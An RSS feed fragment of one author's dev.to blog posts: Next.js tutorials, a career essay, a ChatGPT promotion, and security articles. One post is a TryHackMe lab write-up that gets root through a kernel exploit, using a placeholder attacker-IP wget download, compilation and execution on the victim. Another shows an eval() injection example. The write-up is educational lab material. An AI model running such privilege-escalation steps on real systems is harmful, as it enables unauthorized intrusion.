&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The UserCard client component can now dynamically render the data passed from the server component while ensuring that everything remains serializable and thus passes through the server-client boundary without issues.&lt;/p&gt;

&lt;p&gt;With all said, it would be interesting to conclude this with best practises. Let's move to that next:&lt;/p&gt;

&lt;h2&gt;
  
  
  Best Practices for Server and Client Component Composition
&lt;/h2&gt;

&lt;p&gt;Here are a few tips for composing server and client components effectively:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Default to Server Components&lt;/strong&gt;: Use server components wherever possible for static or data-driven content to reduce JavaScript load and improve performance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use Client Components for Interactivity&lt;/strong&gt;: Only use client components where user interaction or browser-specific APIs are needed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Move Client Components Down the Tree&lt;/strong&gt;: Push client components as deep into the component tree as possible. This allows more of your app to be rendered on the server, boosting performance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Pass Server Components as Children&lt;/strong&gt;: If a server component needs to be used within a client component, pass it as children or a prop instead of directly importing it.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Final word: Striking the Balance Between Performance and Interactivity
&lt;/h2&gt;

&lt;p&gt;With Next.js 13, you have the flexibility to render components on both the server and the client. By defaulting to server components for static content and client components for interactivity, and by managing the boundary between the two carefully, you can build apps that are both fast and dynamic.&lt;/p&gt;

&lt;p&gt;By following the patterns and examples here—like passing server components into client components and combining them thoughtfully—you’ll be able to leverage the full power of Next.js 13 to create highly performant, interactive web applications.&lt;/p&gt;

&lt;p&gt;Happy coding&lt;br&gt;
I am Michael.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>nextjs</category>
      <category>programming</category>
    </item>
    <item>
      <title>How breaking into Tech @40 changed my life</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Sat, 24 Aug 2024 06:09:07 +0000</pubDate>
      <link>https://forem.com/micheaol/how-breaking-into-tech-40-changed-my-life-4ea7</link>
      <guid>https://forem.com/micheaol/how-breaking-into-tech-40-changed-my-life-4ea7</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;My Personal journey into tech&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Breaking into tech at age 40 might sound like a daunting challenge, especially when it requires leaving behind a secure, well-paying job. For me, however, it was a journey that redefined my life, my career, and my understanding of what it means to follow a passion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Cyber Café Days&lt;/strong&gt;&lt;br&gt;
It all started in the most unlikely of places, cyber cafés. Back then, these were the hubs of curiosity and learning for many of us. I would spend countless hours in these cramped, dimly lit rooms, where the sound of keyboards clacking and the hum of outdated computers created an atmosphere that was oddly motivating. My friends would often ask me what I was doing, and my answer was always the same: I was feeding my curiosity about technology.&lt;/p&gt;

&lt;p&gt;I was intrigued by technology, its vast potential and the way it was rapidly changing the world. I scoured the internet for tutorials, articles, and any resource I could find on coding, software development, and IT in general. The more I learned, the more my passion grew, and so did my desire to transition into the tech industry. But it wasn't an easy road.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Four-Year Struggle&lt;/strong&gt;&lt;br&gt;
In the year 2016, I realised I needed to live a more purposeful life, and the only answer was for me to break into tech space.&lt;br&gt;
For over Four years, I juggled my full-time job with late-night study sessions. My days were spent in the office, and my nights were dedicated to learning how to code, understanding the basics of computer science, and familiarising myself with the latest tech trends. It was exhausting, but the idea of one day working in tech kept me going.&lt;/p&gt;

&lt;p&gt;Despite the long hours and the steep learning curve, I never lost sight of my goal. There were times when I felt overwhelmed, especially when I struggled to grasp complex concepts. Yet, every small victory like finally debugging a stubborn piece of code or creating a simple web page fuelled my determination.&lt;/p&gt;

&lt;p&gt;Eventually, the pieces started falling into place. I began to see how my years of dedication and countless hours in cyber cafés were paying off. But there was still one more major decision to make, a decision that would challenge everything I knew about security and success.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Leaving It All Behind&lt;/strong&gt;&lt;br&gt;
I was working in a stable, well paying job at the time. It was the kind of position most people dream of, offering financial security. But I knew that if I wanted to make a real leap into tech, I needed to give it my all. So, after much contemplation, I did the unthinkable, I resigned.&lt;/p&gt;

&lt;p&gt;When I announced my decision, the reactions were mixed. Friends, colleagues, and even family members were shocked. They couldn’t understand why I would leave such a lucrative job to pursue a career in a field where I had no formal experience. I was called reckless, and some even suggested that I was going through a midlife crisis. To be honest, there were moments when I doubted myself too. But deep down, I knew that this was what I wanted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Payoff&lt;/strong&gt;&lt;br&gt;
Breaking into tech wasn’t immediate. The first few months were tough, filled with uncertainty and the challenge of proving myself in an industry that’s often seen as a young person’s game. But slowly, opportunities started to come my way. I landed my first part-time job as a code reviewer at Microverse, the coding bootcamp I learnt how to code, before I eventually secured a full-time position in a tech start-up as full-stack developer and now co-founded tech start-ups.&lt;/p&gt;

&lt;p&gt;The transition wasn’t just about switching careers; it was about rediscovering myself. Tech allowed me to be creative, solve problems, and work in an environment that was constantly evolving. Every day brought new challenges, but it also brought new opportunities to learn and grow. And for the first time in years, I felt truly fulfilled.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reflections&lt;/strong&gt;&lt;br&gt;
Looking back, breaking into tech at 40 was one of the most significant decisions I’ve ever made. It taught me that it’s never too late to pursue your passion, that age is just a number when it comes to learning, and that sometimes, you have to take risks to achieve the life you want.&lt;/p&gt;

&lt;p&gt;Yes, it was scary to leave behind a secure job and step into the unknown. But the rewards, both personal and professional have been worth every moment of uncertainty. Today, I’m not just a tech professional; I’m someone who followed their passion, defied the odds, and proved that it’s never too late to start over.&lt;/p&gt;

&lt;p&gt;To anyone out there who’s considering a similar leap, remember this: your dreams are valid, no matter how old you are or where you’re starting from. And sometimes, the craziest decisions turn out to be the best ones.&lt;/p&gt;

&lt;p&gt;If I can, you can too.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Try Hack Me: Linux PrivEsc Complete Steps</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Sun, 30 Jun 2024 20:11:31 +0000</pubDate>
      <link>https://forem.com/micheaol/try-hack-me-linux-privesc-complete-steps-1kp4</link>
      <guid>https://forem.com/micheaol/try-hack-me-linux-privesc-complete-steps-1kp4</guid>
      <description>&lt;p&gt;Completing the TryHackMe &lt;a href="https://tryhackme.com/r/room/linprivesc"&gt;Linux Privilege Escalation&lt;/a&gt; labs on the Jr Penetration Tester path has been challenging to me. I thought I needed to write about it. Let's get started!&lt;/p&gt;

&lt;p&gt;I will skip some of the informational part and jump straight to task 5.&lt;/p&gt;

&lt;h3&gt;
  
  
  Task 1: Introduction
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Task 2: What is Privilege Escalation?
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Task 3: Enumeration
&lt;/h3&gt;

&lt;p&gt;It does not matter how you gain the initial foothold, When you land on your target machine the first thing you want to do is Enumeration.&lt;/p&gt;

&lt;p&gt;To get the full enumeration steps, head over to TryHackMe &lt;a href="https://tryhackme.com/r/room/linprivesc"&gt;Linux Privilege Escalation&lt;/a&gt; labs&lt;/p&gt;

&lt;p&gt;Now let's dive into the main reason for this article:&lt;/p&gt;

&lt;h3&gt;
  
  
  Task 5: Privilege Escalation: Kernel Exploits:
&lt;/h3&gt;

&lt;p&gt;This task expects that we escalate our privilege via kernel exploit.&lt;/p&gt;

&lt;h4&gt;
  
  
  Steps:
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;Get a foothold into the target system, in this case, we SSH into the target machine from our attack machine with the details provided&lt;/li&gt;
&lt;li&gt;We are to escalate through kernel exploit, we need to get the kernel of the machine by running the code below:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;uname -a&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fommzuob1e73ygllrxe5d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fommzuob1e73ygllrxe5d.png" alt="Image description" width="800" height="35"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Now we have the kernel name, we need to search exploit DB for exploit to use against the victim machine kernel. We are in luck, we found an exploit on exploit DB. In most cases we might have to dig a little more on the internet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnyqx8g5yhvnirqtejvmr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnyqx8g5yhvnirqtejvmr.png" alt="Image description" width="800" height="337"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Click Download to download the exploit to your attacker machine&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frsvhmd5beljwsh09n577.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frsvhmd5beljwsh09n577.png" alt="Image description" width="800" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The next step is to find a way to get the exploit code to the victim machine. I will be doing this with python3 http server.&lt;/li&gt;
&lt;li&gt;On the attacker's machine, run the code below in the same &lt;code&gt;dir&lt;/code&gt; you have the file hosted run on port 8080.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;python3 -m http.server 8080&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Once your server is running on the attacker's machine, on the victim's machine, you will need to get the file with &lt;code&gt;wget&lt;/code&gt;. 
Run the command below on the victim's machine:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;wget http://&amp;lt;attacker's_IP: &amp;lt;Port&amp;gt;/&amp;lt;file_name&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1btj8fv33rnjnvqfu98f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1btj8fv33rnjnvqfu98f.png" alt="Image description" width="800" height="126"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we check the &lt;code&gt;dir&lt;/code&gt; with &lt;code&gt;ls&lt;/code&gt; I can see the downloaded file in the &lt;code&gt;dir&lt;/code&gt;. On the victim's machine.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;After the download, run the command below to compile the &lt;code&gt;C&lt;/code&gt; file on the victim's machine.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;gcc &amp;lt;filename.c&amp;gt; -o &amp;lt;name_want_to_call_the_compiled_file&amp;gt; -w&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Then you need to give &lt;code&gt;writable permission&lt;/code&gt; to the compiled file.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If successful, you should see the file name in the &lt;code&gt;dir&lt;/code&gt;, then run &lt;code&gt;id&lt;/code&gt; to see current user id:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw4mv63bbc9v2mu5v7np1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw4mv63bbc9v2mu5v7np1.png" alt="Image description" width="800" height="44"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can see that we have the regular user at the moment:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Then run the exploit code:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv14u6qe7gl879qmyqsvl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv14u6qe7gl879qmyqsvl.png" alt="Image description" width="800" height="44"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we are root after we run the exploit code:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7zwpfio6c05l3srw8zdp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7zwpfio6c05l3srw8zdp.png" alt="Image description" width="800" height="149"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This is the end of the first part of this series. Watch out for&lt;/p&gt;

&lt;h3&gt;
  
  
  Tasks 6 - 12.
&lt;/h3&gt;

&lt;p&gt;I hope this helped someone as this lab really challenged me, but it was so much fun and it felt good to complete it. Anyways, I got through it and now, so have you! &lt;/p&gt;

&lt;p&gt;It's Michael&lt;/p&gt;

</description>
      <category>tryhack</category>
      <category>ctf</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>The Evil of the eval() Function in JavaScript</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Sat, 09 Mar 2024 10:53:43 +0000</pubDate>
      <link>https://forem.com/micheaol/the-evil-of-the-eval-function-in-javascript-ll5</link>
      <guid>https://forem.com/micheaol/the-evil-of-the-eval-function-in-javascript-ll5</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;While the eval() function in JavaScript can be a powerful tool for dynamically executing code, it introduces significant security risks if used improperly&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;JavaScript is a versatile programming language no doubt, that powers a significant portion of the web. It provides developers with powerful tools to manipulate and execute code dynamically. One such tool is the eval() function, which evaluates a string of code as though it were part of the script. While eval() can be useful in certain situations, it also poses significant security risks if not used carefully. In this article, we'll explore the potential dangers of using eval() and discuss best practices for mitigating these risks.&lt;/p&gt;

&lt;p&gt;Before diving into the risks of using the function eval() we need to understanding eval().&lt;br&gt;
The eval() function in JavaScript takes a string argument and evaluates it as JavaScript code. This means that any valid JavaScript code can be passed to eval(), and it will be executed within the current execution context. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var x = 10;
var y = 20;
var result = eval("x + y"); // result will be 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;While eval() can be convenient for dynamically generating and executing code, it introduces security vulnerabilities that can be exploited by malicious actors.&lt;/p&gt;

&lt;p&gt;Security Risks&lt;br&gt;
Injection Attacks: One of the most significant risks of using eval() is the potential for injection attacks. If the string passed to eval() contains user input, an attacker could craft a malicious string to execute arbitrary code on the client-side. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var userInput = "alert('You have been hacked!')";
eval(userInput); // executes the alert

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this scenario, the attacker could inject any JavaScript code, potentially compromising sensitive user data or performing unauthorized actions.&lt;/p&gt;

&lt;p&gt;This article focuses on the security risks of using eval() in your application:&lt;/p&gt;

&lt;p&gt;Cross-site Scripting (XSS): eval() can also be exploited in XSS attacks, where an attacker injects malicious scripts into web pages viewed by other users. If user input is not properly sanitized before being passed to eval(), it can lead to the execution of malicious code on unsuspecting users' browsers.&lt;/p&gt;

&lt;p&gt;Best Practices for Mitigation&lt;br&gt;
To mitigate the security risks associated with eval(), consider the following best practices:&lt;/p&gt;

&lt;p&gt;Avoid eval() Whenever Possible: In most cases, there are alternative methods for achieving the desired functionality without resorting to eval(). Consider using built-in JavaScript functions like JSON.parse() or Function() constructor instead.&lt;/p&gt;

&lt;p&gt;Sanitize User Input: If you must use eval() with user input, ensure that the input is properly sanitized and validated to prevent injection attacks. Never execute user input directly within eval() without validation.&lt;/p&gt;

&lt;p&gt;Use Strict Mode: Enable strict mode ("use strict";) in your JavaScript code to enforce stricter parsing and error handling, which can help catch potential issues with eval() usage.&lt;/p&gt;

&lt;p&gt;Code Reviews and Audits: Regularly review your codebase to identify and eliminate unnecessary uses of eval(). Conduct security audits to identify potential vulnerabilities and address them proactively.&lt;/p&gt;

&lt;p&gt;While the eval() function in JavaScript can be a powerful tool for dynamically executing code, it introduces significant security risks if used improperly. By understanding these risks and following best practices for mitigation, developers can minimize the likelihood of exploitation and protect their applications from malicious attacks. Remember to prioritize security in your codebase and exercise caution when using eval() in your JavaScript projects.&lt;/p&gt;

&lt;p&gt;Michael Oladele&lt;/p&gt;

</description>
    </item>
    <item>
      <title>The Shift from Functionality to Security: Prioritizing Code Quality in Web Development</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Sun, 18 Feb 2024 07:35:51 +0000</pubDate>
      <link>https://forem.com/micheaol/the-shift-from-functionality-to-security-prioritizing-code-quality-in-web-development-5587</link>
      <guid>https://forem.com/micheaol/the-shift-from-functionality-to-security-prioritizing-code-quality-in-web-development-5587</guid>
      <description>&lt;p&gt;After years in the web development field, I've come to recognize a common trend: many developers prioritize functionality over code quality. In pursuit of getting things to work quickly, corners are often cut, resulting in what I call "unhealthy code." Unfortunately, once these shortcuts are taken, there's often little incentive to improve them, as the fear of breaking functionality looms large.&lt;/p&gt;

&lt;p&gt;However, my focus has shifted over time. I've become increasingly invested in ensuring that my code is not just functional but also secure. This shift in mindset has led me to devote less attention to frontend development and more towards implementing robust security measures.&lt;/p&gt;

&lt;p&gt;It became clear to me early on that as web developers, our responsibility goes beyond mere functionality—we must prioritize security as well. &lt;/p&gt;

&lt;p&gt;While it's common for startups to overlook continuous testing for vulnerabilities, the truth is that all companies, regardless of size, are susceptible to cyber attacks.&lt;/p&gt;

&lt;p&gt;So, when clients or business owners demand that we(web developers) "just make it work," it's crucial to remind them of the importance of security. We must shift our focus from simply making things functional to ensuring they are safe. Even a thoroughly tested application can become vulnerable in minutes, underscoring the necessity for ongoing testing—what I refer to as continuous testing.&lt;/p&gt;

&lt;p&gt;Consider this analogy: just as the threat of global warming prompts urgent action, the prevalence of cyber threats necessitates proactive measures. Every click of our mouse should be approached with security in mind, as the vulnerability of our code directly correlates with the likelihood of cyber attacks.&lt;/p&gt;

&lt;p&gt;IamMichael&lt;br&gt;
Web Developer/Penetration Tester&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Embrace Your New Coding Buddy</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Fri, 19 May 2023 09:47:12 +0000</pubDate>
      <link>https://forem.com/micheaol/embrace-your-new-coding-buddy-4h06</link>
      <guid>https://forem.com/micheaol/embrace-your-new-coding-buddy-4h06</guid>
      <description>&lt;p&gt;Introduction:&lt;br&gt;
🌐 Software development is an ever-evolving field, and staying ahead requires embracing new technologies and tools. In this digital age, developers have found a reliable companion in ChatGPT—an AI-powered coding buddy that revolutionizes the way they work. This article explores the benefits of adopting ChatGPT as your coding buddy and how it enhances productivity, creativity, and problem-solving in software development, and &lt;strong&gt;Erasing the FEAR that AI will take over our jobs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;1️⃣ Amplifying Productivity:&lt;br&gt;
💼 ChatGPT serves as an invaluable assistant, augmenting developer productivity. It can automate repetitive tasks, generate code snippets, and provide real-time suggestions, saving developers precious time and effort. With ChatGPT as your coding buddy, you can focus on higher-level tasks, accelerate project delivery, and increase overall efficiency.&lt;/p&gt;

&lt;p&gt;2️⃣ Enhancing Problem-Solving:&lt;br&gt;
🚀 Problem-solving lies at the core of software development. ChatGPT acts as a reliable partner, offering insights and alternative approaches to tackle complex challenges. By engaging in conversations with ChatGPT, developers can brainstorm ideas, explore different solutions, and gain fresh perspectives, ultimately leading to more innovative and effective problem-solving.&lt;/p&gt;

&lt;p&gt;3️⃣ Fostering Creativity:&lt;br&gt;
💡 Creativity fuels groundbreaking innovations in software development. ChatGPT serves as an endless source of inspiration, sparking creativity and enabling developers to think outside the box. By collaborating with ChatGPT, developers can uncover unique solutions, experiment with new techniques, and push boundaries to create exceptional software products.&lt;/p&gt;

&lt;p&gt;4️⃣ Continuous Learning and Skill Expansion:&lt;br&gt;
📚 Learning is a lifelong journey for developers, and ChatGPT is an ideal companion for continuous learning. Developers can seek guidance from ChatGPT to deepen their understanding of programming concepts, explore new languages or frameworks, and receive suggestions for further learning resources. ChatGPT acts as a knowledgeable mentor, empowering developers to broaden their skill set and stay at the forefront of the industry.&lt;/p&gt;

&lt;p&gt;5️⃣ Collaboration and Knowledge Sharing:&lt;br&gt;
🤝 ChatGPT is not just an individual coding buddy but also a catalyst for collaboration. Developers can interact with ChatGPT in team environments, facilitating knowledge sharing, code review discussions, and brainstorming sessions. ChatGPT's ability to communicate and understand code provides a common language that fosters effective collaboration among developers.&lt;/p&gt;

&lt;p&gt;6️⃣ Empowering Innovation:&lt;br&gt;
💻 Embracing ChatGPT as your coding buddy fuels innovation. Developers can leverage the power of AI to automate mundane tasks, allowing them to focus on more strategic and creative aspects of software development. By harnessing ChatGPT's capabilities, developers can prototype ideas quickly, experiment with emerging technologies, and drive transformative innovations that shape the future.&lt;/p&gt;

&lt;p&gt;Conclusion:&lt;br&gt;
💡 Embrace your new coding buddy—ChatGPT—and revolutionize your software development journey. By adopting AI as a trusted companion, you can amplify productivity, enhance problem-solving, foster creativity, continuously expand your skills, promote collaboration, and empower innovation. Embracing ChatGPT opens up new possibilities, propelling your career and propelling the software development industry into an exciting future. So, why wait? Embrace your new coding buddy and unlock your full potential! #CodingBuddy #ChatGPT #SoftwareDevelopment&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>programming</category>
      <category>react</category>
    </item>
    <item>
      <title>Hosting a Next.js app on a Virtual Private Server (VPS)</title>
      <dc:creator>Michael Oladele</dc:creator>
      <pubDate>Sun, 12 Feb 2023 16:43:47 +0000</pubDate>
      <link>https://forem.com/micheaol/hosting-a-nextjs-app-on-a-virtual-private-server-vps-38bm</link>
      <guid>https://forem.com/micheaol/hosting-a-nextjs-app-on-a-virtual-private-server-vps-38bm</guid>
      <description>&lt;p&gt;For many developers, development might not be a serious issue and for many, deploment is a serious issue. &lt;/p&gt;

&lt;p&gt;I was in the dilema after development with my team, I was responsible for the web app deployment. It was a serious issue because Next.js can not just be bundled like a ReactJs app.&lt;/p&gt;

&lt;p&gt;There are several options available for me but I have to settle for the option suitable for the business use case, which VPS(Virtual Private Server). Then jump on google to see if I can see any resource to assist with the deployment.&lt;/p&gt;

&lt;p&gt;Many resources found were not straight-forward. After several days, days will soon turned to weeks but finally, I figured out how to deploy the web app on VPS. &lt;/p&gt;

&lt;p&gt;One of my team members said: "The app has finally been deployed anyhow....."&lt;/p&gt;

&lt;p&gt;Considering what I went through, I decided to write this, with step by step on how to host NextJS web app on VPS.&lt;/p&gt;

&lt;p&gt;One of the reason I settled for VPS was because Hosting a Next.js app on a Virtual Private Server (VPS) can provide lightning-fast performance and reliability for your web application. &lt;/p&gt;

&lt;p&gt;Let's go over the steps to set up and deploy a Next.js app on a VPS.&lt;/p&gt;

&lt;p&gt;First, let's go over the prerequisites:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;A VPS provider: There are many options available, such as DigitalOcean, Vultr, and Linode. Choose a provider that meets your needs and budget.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A domain name: You'll need a domain name to point to your VPS. You can purchase a domain name from a domain registrar such as GoDaddy or Namecheap.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SSH access to your VPS: You'll need to use Secure Shell (SSH) to access your VPS and set it up.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With these prerequisites in place, let's go over the steps to set up and deploy a Next.js app on a VPS.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Set up your VPS: Follow the instructions provided by your VPS provider to set up your VPS and create a user with sudo privileges.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Install Node.js: Next.js requires Node.js to be installed on your VPS. You can install Node.js using the following command:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -
sudo apt-get install -y nodejs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Install Git: Next.js uses Git to manage its dependencies, so you'll need to install Git on your VPS. You can do so using the following command:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt-get install git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Clone your Next.js app repository: Use Git to clone your Next.js app repository to your VPS. Make sure to replace  with the URL of your repository.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone &amp;lt;repository-url&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Install dependencies: Navigate to the root directory of your Next.js app and install the dependencies using the following command:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Build the app: Next.js uses server-side rendering, so you'll need to build the app before you can start it. Run the following command to build the app:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Start the app: Now that the app is built, you can start it using the following command:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Set up a reverse proxy: To serve your Next.js app over HTTPS, you'll need to set up a reverse proxy. One option is to use Nginx, which is a popular web server. First, install Nginx using the following command:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt-get install nginx

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, create a configuration file for your Next.js app in the /etc/nginx/sites-available directory. You can use the following configuration as a starting point, replacing  with your domain name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;server {
     listen 80;
    server_name example.com www.example.com;

    location / {
        proxy_pass http://localhost:3000;
